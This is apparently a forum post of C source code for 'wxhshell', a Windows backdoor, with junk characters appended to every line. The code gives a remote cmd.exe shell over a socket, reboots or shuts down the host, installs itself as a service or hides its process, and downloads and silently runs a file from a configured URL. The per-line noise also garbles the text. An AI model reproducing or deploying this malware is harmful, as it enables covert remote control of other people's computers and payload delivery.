  XU f]gQu3=  
  // 帮助 ~f/nq/8  
  case '?': { ~&>|u5C*@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vo@[  
    break; %1E:rw@  
  } (DzV3/+p^  
  // 安装 Ood8Qty(  
  case 'i': { }yde9b?F  
    if(Install()) Ku6bY|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rFY% fo  
    else e0i&?m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +b<q4W  
    break; h{s- e.  
    } W'f{u&<  
  // 卸载 <k2Qcicy  
  case 'r': { Y9h~ hD  
    if(Uninstall()) ~-r*2bR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GEr]zMYG[A  
    else |Qq_;x]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pNY+E5  
    break; dW3q  
    } 4~<  :Pj  
  // 显示 wxhshell 所在路径 p=T,JAIt  
  case 'p': { ?n$;l-m[  
    char svExeFile[MAX_PATH]; /\=syl  
    strcpy(svExeFile,"\n\r"); X@$x(Zc  
      strcat(svExeFile,ExeFile); hhu !'(j  
        send(wsh,svExeFile,strlen(svExeFile),0); XdKhT618G  
    break; F1skI _!  
    } [[{y?-U  
  // 重启 s`2Hf&%aZJ  
  case 'b': { ZqaCe>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p 4k*vuu>  
    if(Boot(REBOOT)) Y<X,(\iEHP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q4)8]Y2  
    else { Y {]RhRR  
    closesocket(wsh); X|Gsf= 1S  
    ExitThread(0); \IZfp=On  
    } RIXUzKLO  
    break; XP Nk#"  
    } p9*#{~   
  // 关机 h#K863  
  case 'd': { 5f&+(Wqw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =i jGB~  
    if(Boot(SHUTDOWN)) ]V!q"|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gie}k)&M  
    else { ]-O/{FIv  
    closesocket(wsh); Q<$I,C]  
    ExitThread(0); 1n7tmRl  
    } *c}MI e'&  
    break; g0-hN%=6  
    } rf.w}B;V;  
  // 获取shell bqmOfGM  
  case 's': { [([?+Ouy  
    CmdShell(wsh); /`yb75  
    closesocket(wsh); m S[Vl6  
    ExitThread(0); $Bd{Y"P@6  
    break; ax7]>Z=%d"  
  } Ql-RbM  
  // 退出 {3Z&C$:s  
  case 'x': {  S5RQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Ein)5  
    CloseIt(wsh); |ToCRM  
    break; "qEHK;  
    } Q>s>@hw  
  // 离开 uZ mi  
  case 'q': { %H\i}}PTe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yv!%Is  
    closesocket(wsh); Lc;4 Hg  
    WSACleanup(); ~fLuys`*:  
    exit(1);  ol^J-  
    break; 9kj71Jp&}  
        } gD0O7KO  
  } @D%H-X  
  } ]Auk5M+  
aNgaV$|2a  
  // 提示信息 F)4Y;;#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F0 WM&{v  
} wPTXRq%  
  } =\7o@ 38  
TqK`X#Zq  
  return; !K;\{/8  
} R.Xh&@f`  
!%n3_tZC  
// shell模块句柄 "#x<>a )O\  
int CmdShell(SOCKET sock) D_r&B@4w  
{ ,.Ac= "f  
STARTUPINFO si; D2x-Wa  
ZeroMemory(&si,sizeof(si)); d0YN :lJc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VYj hU?I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Y `Ujr\6  
PROCESS_INFORMATION ProcessInfo; C5;=!B  
char cmdline[]="cmd"; [4'C4Zl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o9+ "6V|.  
  return 0; ej dYh $  
} ML?%s`   
8/X#thG  
// 自身启动模式 5I9~OJ>  
int StartFromService(void) )`?Es8uW  
{ -MZ LkSU  
typedef struct 1ipfv-hb6  
{ \"BoTi'2!  
  DWORD ExitStatus; a]^hcKo4  
  DWORD PebBaseAddress; 7g1" s1~or  
  DWORD AffinityMask; 8:hUj>q x  
  DWORD BasePriority; Onoi^MDy  
  ULONG UniqueProcessId; 6#P\DT  
  ULONG InheritedFromUniqueProcessId; ?r"][<  
}   PROCESS_BASIC_INFORMATION; sU"D%G  
"/6<k0.D&  
PROCNTQSIP NtQueryInformationProcess; 6B 4Sd  
K 2PV^Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `C 'WSr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~_v?M%5i  
ncS.~F  
  HANDLE             hProcess; VXEA.Mko  
  PROCESS_BASIC_INFORMATION pbi; {B$cd?}  
_[}r2,e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [v$_BS#u^3  
  if(NULL == hInst ) return 0; EacqQFErl  
5m2(7FC%su  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .`4N#EjP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kb<Nuw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vaQZ1a,  
%Hdg,NH  
  if (!NtQueryInformationProcess) return 0; -AwR$<q'  
0&$+ CWSM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -N`j` zb|  
  if(!hProcess) return 0; q H&7Q{  
NQS@i'W=g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M,1Yce%+}  
q]Gym 7o  
  CloseHandle(hProcess); OoOKr  
}m NP[L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oL0Q%_9hW  
if(hProcess==NULL) return 0; pVe@HJy6G  
z#*M}RR  
HMODULE hMod; Rfh#JO@%[  
char procName[255]; ^L}fj$  
unsigned long cbNeeded; zRtaO'G(  
+k]9n*^uz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rQT@:$ )  
I=)Hb?q T~  
  CloseHandle(hProcess); lV!ecJw$  
v{4K$o  
if(strstr(procName,"services")) return 1; // 以服务启动 "'p;Udt/Qm  
\wRbhN  
  return 0; // 注册表启动 J \U}U'qP  
} !f\,xa|M  
q:Gi Qk-  
// 主模块 g2%&/zq/  
int StartWxhshell(LPSTR lpCmdLine) h,B ]5Of  
{ `9M:B&  
  SOCKET wsl; ~6!{\un   
BOOL val=TRUE; d K|6p_  
  int port=0; J^[>F{8!n  
  struct sockaddr_in door; zR:Mg\  
lC&U9=7W  
  if(wscfg.ws_autoins) Install(); m@o/W  
8v)pPJr  
port=atoi(lpCmdLine); "o&_tB;O  
ZY-UQ4_|u  
if(port<=0) port=wscfg.ws_port; cl4`FU  
?2hoY  
  WSADATA data; -;=0dfC(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <)c/PI[j  
%RA8M- d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kQ4-W9u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4$9WJ ~V{  
  door.sin_family = AF_INET; B0I(/ 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $I&DAGV0  
  door.sin_port = htons(port); /CX_@%m}e=  
v-2_#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >0kn&pe7#T  
closesocket(wsl); @!/w'k 8  
return 1; PY=(|2tb4  
} P!yE{_%  
Ut4cli&cC  
  if(listen(wsl,2) == INVALID_SOCKET) { xI?%.Z;*+  
closesocket(wsl); NT?Gl(  
return 1; fR<_4L  
} 4:<74B  
  Wxhshell(wsl); c6gRXp'ID  
  WSACleanup(); O'y8[<  
zr%2oFeX,  
return 0; 9`kxyh</  
@,0W(  
}  m~"<k d  
<A?- *  
// 以NT服务方式启动 y]$%>N0vLX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &r s+x<  
{ 7+wy`xi  
DWORD   status = 0; @]yd Wd  
  DWORD   specificError = 0xfffffff; 4'JuK{/ A7  
dLl/V3C6t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iev02 8M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?m5@ 63 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F|\^O[#R  
  serviceStatus.dwWin32ExitCode     = 0; Gkci_A*  
  serviceStatus.dwServiceSpecificExitCode = 0; KS%LXc('  
  serviceStatus.dwCheckPoint       = 0; *aF#on{  
  serviceStatus.dwWaitHint       = 0; n$B SO  
?K]Cs&E4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hh\}WaY  
  if (hServiceStatusHandle==0) return; =\mAvVe  
Z_vIGH|1  
status = GetLastError(); 9UlR fl  
  if (status!=NO_ERROR) Ax &Z=  
{ Wj0=cIb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,S(^r1R   
    serviceStatus.dwCheckPoint       = 0;  A.nU8   
    serviceStatus.dwWaitHint       = 0; *`.h8gTD,  
    serviceStatus.dwWin32ExitCode     = status;  Er( I6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ph*9,\c8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vsc)EM ]  
    return; TC7&IqT  
  } NN(ZH73  
 l* C>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R+vago:  
  serviceStatus.dwCheckPoint       = 0; 9K~0:c  
  serviceStatus.dwWaitHint       = 0; MDkcG"O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mrpz(})  
} ~*aPeJ  
V`*N2ztSL  
// 处理NT服务事件,比如:启动、停止 J_PAWW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HLMcOuj  
{ >TZ 'V,  
switch(fdwControl) byALM  
{ -J7BEx  
case SERVICE_CONTROL_STOP: }4'5R  
  serviceStatus.dwWin32ExitCode = 0; RsTz3]`yv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c8uFLM j  
  serviceStatus.dwCheckPoint   = 0; bYs K|n  
  serviceStatus.dwWaitHint     = 0; lG[@s 'j  
  { +fh@m h0[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $;GH -+  
  } K&T[F!  
  return; j1[Ng #.  
case SERVICE_CONTROL_PAUSE: IXjFK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Z4ilpU,  
  break; {J#SpG 7  
case SERVICE_CONTROL_CONTINUE: ..FEyf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q,pnh!.-c  
  break; {owXyQ2mK  
case SERVICE_CONTROL_INTERROGATE: W4MU^``   
  break; #bI ,;]T  
}; S F:>dneB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b'x26wT?  
} AvP$>Alc  
:V,agAMn  
// 标准应用程序主函数 /\7E&n:)2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4gR;,%E\TO  
{ e3o?=;  
.wH`9aq;5@  
// 获取操作系统版本 _E\Cm  
OsIsNt=GetOsVer(); 7+(on  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r6WSX;K  
o]R*6$  
  // 从命令行安装 K_SURTys  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7uUo DM  
rXh*nC  
  // 下载执行文件 ,J*C'#sW  
if(wscfg.ws_downexe) { -uk}Fou  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `jHbA#sO  
  WinExec(wscfg.ws_filenam,SW_HIDE); .}n-N #  
} %XC3V7  
?hC,49  
if(!OsIsNt) { &':Ecmo~`  
// 如果时win9x,隐藏进程并且设置为注册表启动 MpNgp )%>  
HideProc(); Mg"e$m  
StartWxhshell(lpCmdLine); o=zr]vv  
} l('@~-Zy  
else * :kMv;9  
  if(StartFromService()) MlKSjKl" !  
  // 以服务方式启动 Be$v%4  
  StartServiceCtrlDispatcher(DispatchTable); |KMwK png  
else ,=IGqw  
  // 普通方式启动 ;% <[*T:*'  
  StartWxhshell(lpCmdLine); [d?tf  
v\Y8+dD  
return 0; N^Hj%5  
}
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只看该作者 1 发表于: 2006-10-10
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